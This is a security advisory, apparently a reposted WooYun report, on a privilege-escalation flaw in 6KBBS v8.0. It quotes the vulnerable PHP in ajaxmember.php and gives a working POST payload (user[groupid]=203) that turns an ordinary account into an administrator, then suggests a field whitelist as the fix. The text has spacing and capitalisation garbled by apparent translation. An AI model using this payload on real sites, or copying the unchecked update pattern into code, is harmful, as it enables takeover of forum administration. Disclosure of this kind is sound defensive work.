6 KBBS v8.0 Privilege Escalation Vulnerability for common users

Brief description: Privilege Escalation Vulnerability of common users, which can be upgraded to administrator privilege.
Detailed Description: <vulnerability analysis>
Www.2cto.com ajaxmember. php

Case "modifyDetails ":
$ User = $ _ POST ['user'];
If (getPopedom (5) = 0)
{
$ User ['usertitle'] = '';
}

If ($ user ["email"] = "")
{
Exit ("incomplete information. ");
}

Foreach (explode (",", $ cache_settings ['reservedkeyword']) as $ rkey)
{
If (! Empty ($ rkey) & stristr ($ user ['usertitle'], $ rkey ))
{
Exit ("the custom title contains forbidden keywords ");
}
}

$ Db-> row_update ("users", $ user, "id = {$ lg ['userid']}");
SucceedFlag ();

Break;

The user array does not have any restrictions. As a result, the user POST a user [groupid] = 203 field, row_update will update the groupid field of the users table and change the permissions of normal users to administrator.
Vulnerability proof: <vulnerability exploitation>
1. Register and log on to a user.
2. To/ajaxmember. php? Action = modifyDetails page post data
User % 5 Bgroupid % 5D = 203 & user % 5 Bemail % 5D = aaaa % 40aaaa.com
3. log on to the user again as the administrator.

Solution: Add a verification statement before the update to retain only the fields that can be updated.

Author insight-labs @ wooyun